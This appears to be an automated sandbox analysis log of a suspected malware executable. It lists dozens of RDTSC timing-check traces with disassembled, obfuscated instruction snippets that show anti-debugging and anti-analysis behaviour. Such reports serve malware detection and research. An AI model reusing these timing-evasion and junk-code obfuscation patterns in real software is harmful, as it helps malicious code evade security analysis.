Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71402C second address: 71403A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 715255 second address: 71526D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CBFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 716251 second address: 71625B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7184FE second address: 718505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71A3EE second address: 71A40B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 718505 second address: 71851E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD111F5CC4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71A40B second address: 71A45E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCD11532026h 0x00000008 jmp 00007FCD11532020h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 or edi, dword ptr [ebp+122D3AC4h] 0x00000018 mov edi, 21635C01h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FCD11532018h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 push 00000000h 0x0000003b xchg eax, esi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71A45E second address: 71A462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71A462 second address: 71A468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7195C9 second address: 7195D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7195D6 second address: 7195DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71A598 second address: 71A5B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FCD111F5CBCh 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71C5C7 second address: 71C5D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCD11532016h 0x0000000a jc 00007FCD11532016h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CF27F second address: 6CF29A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD111F5CC7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CF29A second address: 6CF29E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71CDC6 second address: 71CE87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D3AE6h], edi 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007FCD111F5CB8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 add dword ptr [ebp+122D1DF5h], edi 0x00000039 mov di, 9872h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007FCD111F5CB8h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e mov ebx, dword ptr [ebp+122D2C56h] 0x00000064 mov bh, ah 0x00000066 mov eax, dword ptr [ebp+122D0A35h] 0x0000006c jno 00007FCD111F5CBDh 0x00000072 push FFFFFFFFh 0x00000074 jmp 00007FCD111F5CC5h 0x00000079 push eax 0x0000007a pushad 0x0000007b push edi 0x0000007c jmp 00007FCD111F5CBDh 0x00000081 pop edi 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 popad 0x00000086 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71FB89 second address: 71FB9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 jmp 00007FCD1153201Ah 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71EE26 second address: 71EE2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71FB9C second address: 71FBA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71EE2A second address: 71EE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71FBA2 second address: 71FBEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add ebx, dword ptr [ebp+122D29FEh] 0x0000000f push 00000000h 0x00000011 mov edi, 1E010674h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FCD11532018h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D1FEAh], eax 0x00000038 push eax 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jc 00007FCD11532016h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 720BF7 second address: 720BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 720BFD second address: 720C15 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jp 00007FCD11532016h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 71FE25 second address: 71FE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 720C15 second address: 720C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 720C1A second address: 720C1F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 720E5F second address: 720E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 721DC7 second address: 721DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 721EA2 second address: 721EB8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c js 00007FCD11532020h 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C179C second address: 6C17DA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCD111F5CCFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f jc 00007FCD111F5CCAh 0x00000015 jmp 00007FCD111F5CBEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 72BD1E second address: 72BD42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FCD11532016h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCD11532024h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 72BD42 second address: 72BD46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7312C1 second address: 7312D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FCD11532018h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7312D4 second address: 73130E instructions: 0x00000000 rdtsc 0x00000002 js 00007FCD111F5CCEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FCD111F5CBEh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73130E second address: 731317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 731317 second address: 73131B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 732825 second address: 73283F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD1153201Dh 0x00000009 popad 0x0000000a ja 00007FCD11532018h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73283F second address: 73284C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007FCD111F5CB6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73284C second address: 732854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737A45 second address: 737A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737A4B second address: 737A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737A51 second address: 737A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737A56 second address: 737AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532020h 0x00000007 push edi 0x00000008 jmp 00007FCD11532020h 0x0000000d jl 00007FCD11532016h 0x00000013 pop edi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 jmp 00007FCD11532026h 0x0000001e pop ecx 0x0000001f pushad 0x00000020 push esi 0x00000021 pop esi 0x00000022 jmp 00007FCD1153201Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737AAD second address: 737AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737AB4 second address: 737ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737ABA second address: 737AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737AC0 second address: 737AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737AC4 second address: 737ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737ACE second address: 737AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737302 second address: 737308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737308 second address: 737312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FCD11532016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737312 second address: 737328 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCD111F5CB6h 0x00000008 ja 00007FCD111F5CB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7375BD second address: 7375C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 737759 second address: 737761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73C03A second address: 73C03E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73C03E second address: 73C04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FCD111F5CB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73C04A second address: 73C065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD11532027h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73C065 second address: 73C070 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73AF1D second address: 73AF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD1153201Ah 0x00000009 jmp 00007FCD1153201Dh 0x0000000e popad 0x0000000f push ebx 0x00000010 jmp 00007FCD11532020h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73AF4E second address: 73AF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73AF54 second address: 73AF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70DE24 second address: 70DE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70DF28 second address: 70DF5D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FCD11532021h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FCD11532023h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E1C7 second address: 70E1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E87D second address: 70E883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70E883 second address: 70E8F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FCD111F5CC9h 0x00000010 jmp 00007FCD111F5CC3h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FCD111F5CB8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov dword ptr [ebp+12453668h], edx 0x00000036 push 0000001Eh 0x00000038 sub dword ptr [ebp+122D2E4Ah], edx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push esi 0x00000043 pop esi 0x00000044 jmp 00007FCD111F5CBCh 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70EC73 second address: 70EC9A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007FCD11532016h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jng 00007FCD1153203Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FCD11532022h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70EC9A second address: 6EF3BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FCD111F5CB8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 adc cx, CB92h 0x00000029 call dword ptr [ebp+122DBA5Dh] 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6EF3BB second address: 6EF3D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FCD11532022h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C69FF second address: 6C6A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 73B4B1 second address: 73B4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FCD11532016h 0x00000009 jmp 00007FCD1153201Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 741660 second address: 74166F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FCD111F5CB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74166F second address: 741673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 740720 second address: 740724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 740F7E second address: 740F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCD11532016h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 740F8A second address: 740F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 740F8F second address: 740F9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FCD11532016h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C85D8 second address: 6C85DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74AADF second address: 74AAE8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74AAE8 second address: 74AAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74AC24 second address: 74AC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74AC2F second address: 74AC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74ADD5 second address: 74ADDF instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD1153201Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74AEFF second address: 74AF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74AF05 second address: 74AF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 74B07C second address: 74B080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
